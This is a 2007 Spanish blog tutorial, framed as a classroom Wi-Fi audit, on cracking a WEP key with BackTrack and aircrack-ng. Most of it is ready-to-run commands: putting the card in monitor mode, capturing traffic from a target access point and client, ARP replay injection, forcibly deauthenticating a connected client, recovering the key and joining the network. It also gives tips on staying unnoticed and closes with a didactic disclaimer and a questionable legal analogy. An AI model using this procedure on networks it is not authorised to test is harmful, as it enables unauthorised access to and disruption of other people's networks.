jueves, 5 de julio de 2007

Desencriptar contraseña WEP con BackTrack


Comprobación de seguridad Wifi;
Desencriptar una contraseña WEP.

Fecha última actualización
18 de Junio del 2007

Licencia
Esta práctica aplica los conocimientos extraídos de documentación oficial; y la asistencia a una demostración; por tanto esta práctica no hace referencia a otra ni precisamente es autodidacta, es el resultado de saber lo que hay que hacer y aplicarlo; por tanto es un trabajo original.

Esta documentación se encuentra bajo la licencia Creative Commons; se tiene permiso para citar, reproducir, crear obras derivadas ofrecerlo públicamente y con diferentes restricciones como no permitir el uso comercial y respetar la autoría original.

Nomenclatura
< Atributo o parámetro que se debe introducir >
*** Falta datos relevantes o que se actualizarán en el futuro ***



Agradecimientos
Me considero una persona escéptica así que no empezaré confesándome; ya que cuando he comprobado didácticamente la seguridad de terceros nunca se ha violado la privacidad de datos. Para realizar esta práctica vastó con asistir a una clase impartida por JoseLu, al siguiente día en una hora libre familiarizarse con la distribución y los comandos de los programas; si debo agradecer algo será la ayuda prestada por un profesor que se encontraba de guardia, llamado Eduardo YoQueSé..., que me presto su ayuda desinteresada para entre los dos aprender a manejar una distribución de linux.


Introducción
Este tutorial pretende comprobar el estado de seguridad Wifi en una empresa e inseguridad doméstica; conectándose a una red wireless que tenga encriptación WEP; pero no se hablará de infringir métodos de seguridad como VPN y túneles IPSEC. Se realizará un pequeño apartado que debería constar en una Auditoría, llamado Test de intrusión. Si quiere desarrollar la práctica porque piensa que esto lo convierte en un hacker... lo siento, esto es sumamente sencillo, en tal caso recomiendo que lea un libro de redes

Esta práctica se ha desarrollado tanto con la última versión de un liveCd de auditoría como con la penúnltima; es importante saber que las versiones de Backtrack2 (a pesar de llevar el mismo nombre) varían según la fecha de descarga, por modificaciones de Kernel, soporte de drivers, actualizaciones, etc; antes del 06 de Marzo de 2007. La práctica se ha realizado con la penúltima versión de BackTrack se ha desarrollado en un entorno controlado, a modo de laboratorio, ya que se hizo una demostración en clase; en la que el único obstáculo presente fue que el router presentaba el firmware actualizado; y que la última versión de BackTrack no soportaba aquellos monitores. Sin embargo en un entorno no controlado el único cambio substancial es el tiempo, en el que puede sobre pasar una hora e incluso mucho más; ya que los comandos cambian; por lo tanto también indicaré como realizarlos con la última versión con una demostración en un entorno desconocido.

Las capturas de la práctica en un entorno controlado con la penúltima versión de BackTrack, paso a paso se encuentran en http://picasaweb.google.com/elleonplateadodeojosrojos; y este manual sin formato lo podeis ver a
a

Importante
Proximamente se actualizará ya que la manera de introducir los comandos en las distintas versiones varia.
Aquí teneis el manual en un entorno desconocido; está resumido y los pasos iniciales estan mejor explicados; lo usaré para terminar este manual.
Mirar este manual para saber como usar la nueva versión.Manual
Conocimientos requeridos
    • Preparación de una taza de cola cao para disfrutar mientras se mantiene a la espera.
    • No se requiere conocimientos de Gnu/Linux; si se lee detenidamente para comprender el procedimiento. No se preocupe Linux no muerde y se explicará todo detalladamente. Ha decir verdad hay mucha gente que saber hacerlo sin saber lo que está haciendo, y sólo por conseguirlo se considera un hacker. Pero los grandes y pequeños hacker están jodiendo a Microsoft continuamente; pues no tiene sentido joder a la libertad de expresión del software libre.


Herramientas utilizadas

BackTrack.- Distribución con una completa colección de utilidades de seguridad, disponible en http://www.remote-exploit.org. Dispone de scanners de puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas para la auditoría Wireless; de las que se utilizará:

  • La página de estas utilidades es www.aircrack-ng.org, la cual dispone de un excelente documentación en español en www.aircrack-ng.org/doku.php?id=spanish; además integra todo (sniffer, desencriptador, utilidades de configuración de red…) y además es multiplataforma Gnu/Linux y Windows.


Hardware requerido

Tarjeta de red inalámbrica; que permita cambiar a modo monitor, llamado también modo promiscuo.


Prologo
Antes de empezar debe saber lo que hará para descencriptar la contraseña WEP; en realidad solo son dos procedimientos:

"Un sniffer captura tramas del tráfico, dentro de las tramas capturadas está la clave encriptada; y un crackeador de claves mediante un algoritmo matemático la desencripta."

Debe tener en cuenta que si el punto de acceso no tiene ningún cliente asociado nuestros intentos van a ser en vano, con el ataque descrito a continuación, debido a que necesitamos hacer ARR spoofing ( suplantación de identidad por falsificación de tabla ARP ), de las peticiones ARP de un cliente que se encuentre conectado al punto de acceso.

Ahora que lo sabe, tengo que decirlo que existen varias formas de hacerlo en distintos Sistemas Operativos y con distintas utilidades, pero siempre es lo mismo.

En muchos casos (tiempo en función de la batería en un portátil, equipo ajeno... ) es necesario montar un usb, tanto para disponer de documentación como importar o exportar datos. Este apartado es circunstancial, pero es importante disponer de una guía completa y sencilla.

  • Crear directorio para montar el usb
      • #mkdir /mnt/usb

  • Montar en ese directorio
      • #mount /dev/sda1 /mnt/usb -t vfat
Si eso no funciona usa usbfs:
      • #mount /dev/sda1 /mnt/usb -t usbfs


Desarrollo
1.- Comprobamos el estado de la tarjeta
  • Ver el estado de la de red, mediante "iwconfig" es la versión wireless de "ipconfig" son utilidades de terminal que muestra la configuración de red actual.
      • #iwconfig

    • Por defecto la tarjeta suele estar configurada en Modo: Managed.
    • En esta práctica se usa una tarjeta de red llamada "rausb0".

Podemos encontrar dos problemas que no son habituales:
  1. Instalar drivers; si necesitas descargarlos de Internet y dispones de una conexión puedes usar "wget < ruta de la descarga>".
      • #wget "http://:www.LoQueSea.es/driver.tar.gz" *** Instalación de driver ***

  1. Activar o habilitar la tarjeta de red; algunas tarjetas, en ocasiones más posteriores al captar paquetes suele deshabilitarse; y tras activarlo varias veces deja de hacerlo; según experiencia personal; pero no se como activarlo permanentemente sin caídas desde la primera vez.
        • iwconfig <tarjeta de red> up.
#iwconfig rausb0 up.


2.- Configurar la tarjeta en modo promiscuo.
  • La tarjeta en modo promiscuo recibe todos los paquetes que puede captar. Se puede utilizar varios métodos distintos; en esta práctica se usa "airmon-ng start <tarjeta>".
      • #airmon-ng start rausb0
    • También se puede usar "iwconfig" para poner la tarjeta en modo promiscuo o modo monitor. "iwconfig mode monitor <tarjeta>"
      • #iwconfig mode monitor rausb0

  • Comprobamos el estado de la tarjeta.
      • #iwconfig
    • Comprobamos que ahora aparece Mode:Monitor


3.- Buscar redes mediante airodump-ng
  • Airodump-ng es un sniffer que se usa para capturar paquetes wireless 802.11 en un archivo compatible con formatos pcap de tcpdump, ethereal, etc. Para conocer todas las redes se introduce "airodump-ng <tarjeta>" sin parámetros .
      • airodump-ng <tarjeta>
airodump-ng rausb0

    • Esperar hasta que en la parte inferior aparezca la red que queremos desencriptar, si el ESSID no aparece reconocer la red por la MAC del punto de acceso; para continuar debe tener BSSID y STATION; así no importa que no tenga el ESSID en la parte superior. En PWR podemos ver la señal de la red.
    • Si en la empresa disponemos de varias redes, debemos saber que en la red donde exista más tráfico, (esperar y la red con mayor paquetes Data es la de más tráfico.) es de la que más rápido se obtendrá la contraseña.

  • Abrir una nueva terminal para centrarse en un determinado Canal
    • Entre más parámetros se introduzcan en la terminal más eficiente y rápido será el proceso.
      • #airodump-ng --channel Canal -bssid BSSID -a STATION --ivs -w NombreParaFicheroDeCaptura Tarjeta

    • En esta práctica se usan los siguientes datos:
Canal: 11
BSSID: 00:0E:2E:7C:63:74
STATION: 00:04:E2:81:A2:AA
Fichero para guardar la captura: captura
Tarjeta inalámbrica: rausb0
Opción para filtrar los paquetes --ivs
    • IVS son vectores de inicialización

#airodump-ng --channel 11 -bssid 00:0E:2E:7C:63:74 -a 00:04:E2:81:A2:AA --ivs -w captura rausb0
    • Cerrar la terminal anterior.
    • Prestar atención en la velocidad de incremento de Data


4.- Incrementar el trafico, mediante inyección de paquetes ARP con aireplay-ng
  • Cuando en la anterior Terminal airodump-ng muestre un cliente en la parte inferior empiece el ataque.
    • Inyectar tráfico mediante "aireplay-ng" con la opción "arpreplay"; y "FF:FF:FF:FF:FF:FF" que es la dirección de broadcast.
      • #aireplay-ng --arpreplay -b <BSSID> -d FF:FF:FF:FF:FF:FF -h <BSSID> <tarjeta de red>
#aireplay-ng --arpreplay -b 00:0E:2E:7C:63:74 -d FF:FF:FF:FF:FF:FF -h 00:04:E2:81:A2:AA rausb0

    • Desconectar al cliente. Este es un método agresivo pero eficaz; en caso de querer pasar inadvertido es peligro ya que el cliente podría sospechar, así que usar con precaución, al decir precaución no tenga miedo de hecho no se usará ningún preservativo. Los SO limpian la cache ARP cuando son desconectados; para reconectarse un clientes envía "ARP requests" así que se desconectará a un cliente para que se reconecte y así capturar un "ARP-request"; además podemos conocer el ESSID durante la reconexión, si el ESSID está oculto. Abrir una terminal y usar "aireplay-ng" con la opción "--deauth 5" para desconectar al cliente.
      • #aireplay-ng --deauth 5 -a <BSSID> -c <BSSID> <tarjeta de red>
#aireplay-ng --deauth 5 -a 00:0E:2E:7C:63:74 -c 00:04:E2:81:A2:AA rausb0

    • En función del tráfico de red tendremos que esperar; para obtener una clave de 64 bits se requiere capturar de 50000 a 200000 IVs y para 128 bits se necesitan de 200000 a 700000 IVs. Este es el momento ideal para


5.- Desencriptar con aircrack-ng
  • Crackeador para desencriptar contraseñas 802.11 WEP y WPA/WPA2-PSK P es recomendable usar todos los filtros disponibles para disminuir considerablemente el tiempo sacar la contraseña; no aconsejo hacerlo mientras se está ejecutando "airodump-ng" porque aunque es posible sacarla antes si es una contraseña muy débil, la mayoría de veces sólo ralentiza en exceso los procesos de los dos procesos.
      • #aircrack-ng -a 1 -b <BSSID> -e <BSSID> -n <Tamaño de la clave, la de 128 es usual> <"Nombre del fichero de captura"+"-01.ivs">
#aircrack-ng -a 1 -b 00:0E:2E:7C:63:74 -e 00:04:E2:81:A2:AA -n 64 captura-01.ivs

    • Si has parado el proceso, mira la carpeta donde guardas la captura y elije el paquete .ivs con mayor tamaño.
    • Y al final saldrá la contraseña en un formato
      • KEY FOUND! [ 12:34:56:78:9A ]
      • Probability: 100%

KEY FOUND! [ 12:34:56:78:9A ]
Probability: 100%


6.- Conectar
      • iwconfig < tarjeta > essid ssid key [ clave ]
iwconfig rausb0 essid ssid key 12:34:56:78:9A

Anexo
Investigadores Alemanes han extendendido algoritmo de Andreas Klein logrando reducir la cantidad de paquetes requeridos para crackear una red inalámbrica con seguridad WEP a 85.000 paquetes; con una reducción de tiempo impresionante. Este algoritmo ha sido implementado en una nueva versión de la suite aircrack llamada AIRCRACK-PTW cuya web oficial es http://www.cdc.informatik.tu-darmstadt.de

Epílogo
Esta manual no debe ser usada para realizar
prácticas hostiles; ya que tiene un carácter didáctico. Recordamos que si un prado no tiene vallado y pasamos por él sin hacer daño ni obtener nada de él no estamos infringiendo la ley; por tanto en una red sin protección cometemos una infracción al momento de usar un P2P, usar datos personales.

La encriptacion WEP es más débil que la WPA, aunque no todas las tarjetas la soportan.
Informe de tarjetas inalámbricas para la auditoria wireless http://hwagm.elhacker.net/htm/tarjetas.htm